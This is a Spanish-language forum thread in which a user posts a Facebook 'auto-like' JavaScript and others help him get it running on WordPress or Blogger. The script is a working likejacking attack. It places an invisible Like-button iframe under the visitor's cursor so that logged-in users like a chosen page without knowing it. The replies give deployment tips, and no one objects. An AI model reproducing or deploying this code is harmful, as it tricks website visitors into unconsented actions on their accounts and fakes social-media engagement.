Problema com script de autocurtida no Facebook

  • Autor Autor carloslove
  • Data de início Data de início
Tradução em andamento: em alguns minutos este tópico estará em português. Por enquanto, o conteúdo está no original em espanhol. Ver original
C

carloslove

Gamma
Usuário com poucas negociações! Use sempre o saldo do ForoBeta!
Hola amigos buscando encontre un php que es automegusta pero no logro hacerlo funcionar cuando subo el codigo no sale completo aqui dejo el codigo y haber si alguien puede ayudar a solucionar!!

recuerda el archivo tienes que subirlo con tunombre.php

function setCookie(c_name,value,exdays) {
var exdate=new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=c_name + "=" + c_value;
}

function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies.substr(0,ARRcookies.indexOf("="));
y=ARRcookies.substr(ARRcookies.indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}

var total = "4";
var time = "365";

var accounts = getCookie("number");
var plus = parseInt(getCookie("number")) + parseInt(1);

switch (accounts) {
default:
var account = "https://www.facebook.com/aqui facebook";
break;
case "1":
var account = "https://www.facebook.com/aqui facebook";
break;
case "2":
var account = "";
break;
case "3":
var account = "";
break;
case total:
var ready = true;
break;
}

var interval;
var iflag;
var icontainer;
var standardbody;

if (ready == true) {
} else {
window.fbAsyncInit = function(){
FB.init({ appId:'428133353987274', status:true, cookie:true, xfbml:true});
FB.getLoginStatus(function(response){
if (response.status != "unknown")
{
jQuery(function () {
jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
iflag = 0;
icontainer = document.getElementById('icontainer');
standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
interval = setInterval("updateActiveElement();", 50);
});
}
});
};
// Load the SDK Asynchronously
(function(d){
var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
js = d.createElement('script'); js.id = id; js.async = true;
js.src = "//connect.facebook.net/en_US/all.js";
d.getElementsByTagName('head')[0].appendChild(js);
}(document));
jQuery("html").bind('mousemove', function (e) {
if (iflag == 0) {
var x = e.pageX - 5;
var y = e.pageY;
//console.log("X: " + x + " AND Y: " + y);
jQuery(icontainer).css('top', y).css('left', x);
}
});
}

function updateActiveElement() {
if (jQuery(document.activeElement).attr('id') == "werunthenite") {
setTimeout('$("#icontainer").remove();', 500);
if (typeof accounts === 'undefined') {
setCookie("number","1",time);
} else {
setCookie("number",plus,time)
}
var flag = 0;
clearInterval(interval);
iflag = 1;
if (flag != 0) document.location = "";
}
}
 
Foi útil? Participe da conversa

Com sua conta grátis você pode responder, mandar mensagem privada ao autor e comprar com Saldo retido: o pagamento é liberado quando você recebe o combinado.

Leva 30 segundos · você volta a este tópico ao terminar
No puedes hacerlo funcionar por la simple razón que blogger no aloja archivos 🙂 , debes alojarlo en un servidor externo
 
[MENTION=8283]carloslove[/MENTION] eso no es PHP... es JavaScript :fatigue:
Solo agrega
HTML:
<script>todo ese codigo</script>
y listo tendria que funcionar... tmb usa jquery por lo que tendrias que cargar esa libreria:
HTML:
<script src="http://code.jquery.com/jquery-2.1.0.min.js"></script>
 
[MENTION=8283]carloslove[/MENTION] eso no es PHP... es JavaScript :fatigue:
Solo agrega
HTML:
<script>todo ese codigo</script>
y listo tendria que funcionar... tmb usa jquery por lo que tendrias que cargar esa libreria:
HTML:
<script src="http://code.jquery.com/jquery-2.1.0.min.js"></script>


Lo encontre en un sitio http://mediopati.com/viral/fb.php ahi el codigo y esta de esta forma subido en su sitio

<script type="text/javascript" src="http://mediopati.com/viral/fb.php"></script>

Videos AS - Otro sitio realizado con WordPress y funciona de esa forma pero cuando yo subo el php a mi servidor no sale comleto como se muestra en el enlace si alguien puede ayudar a solucionar este problema seria de mucha amabilidad!
 
Lo encontre en un sitio http://mediopati.com/viral/fb.php ahi el codigo y esta de esta forma subido en su sitio

<script type="text/javascript" src="http://mediopati.com/viral/fb.php"></script>

Videos AS - Otro sitio realizado con WordPress y funciona de esa forma pero cuando yo subo el php a mi servidor no sale comleto como se muestra en el enlace si alguien puede ayudar a solucionar este problema seria de mucha amabilidad!

es JS... solo porque tenga el .php de extensión no significa nada... lo han puesto asi como podrían ponerlo de cualquier forma. con extension .js o dentro de tu template blogger... agregaste jquery?

ese sitio lo tiene:
HTML:
<script type='text/javascript' src='http://crearcorreoelectronico.info/wp-includes/js/jquery/jquery.js?ver=1.10.2'></script>
<script type='text/javascript' src='http://crearcorreoelectronico.info/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script>
 
es JS... solo porque tenga el .php de extensión no significa nada... lo han puesto asi como podrían ponerlo de cualquier forma. con extension .js o dentro de tu template blogger... agregaste jquery?

ese sitio lo tiene:
HTML:
<script type='text/javascript' src='http://crearcorreoelectronico.info/wp-includes/js/jquery/jquery.js?ver=1.10.2'></script>

<script type='text/javascript' src='http://crearcorreoelectronico.info/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script>

gracias por indicar pero es en wordpress y si te das cuenta subes en js no funciona y en php si pero subiendo en tu propio servidor no sale completo pruebalo en tu servidor y te darás cuenta!
 
gracias por indicar pero es en wordpress y si te das cuenta subes en js no funciona y en php si pero subiendo en tu propio servidor no sale completo pruebalo en tu servidor y te darás cuenta!

no es necesario subir a ningun lado, solo coloca como te indique anteriormente el codigo... eso funciona en cualquier lado
 
no es necesario subir a ningun lado, solo coloca como te indique anteriormente el codigo... eso funciona en cualquier lado

Amigo ya hice la prueba y no funciona realiza tu haber en algun site que tengas y veras que no funcionará

espero tu respuenda con algun demo y no solo palabras gracias por tu apoyo
 
Me gustaria que si alguien pudiera solucionar o hacer funcionar el code que deje y bablando sobre el que compartistes casi la mayoria indica que no le funciona en wp

si funciona porque yo lo tengo en función 🙂

lo convertí en plugin para que fuera mas fácil la instalación
 
Demasiado complicado, opino que pruebes con el que te dejo junitro! :encouragement:
 
Voltar
Topo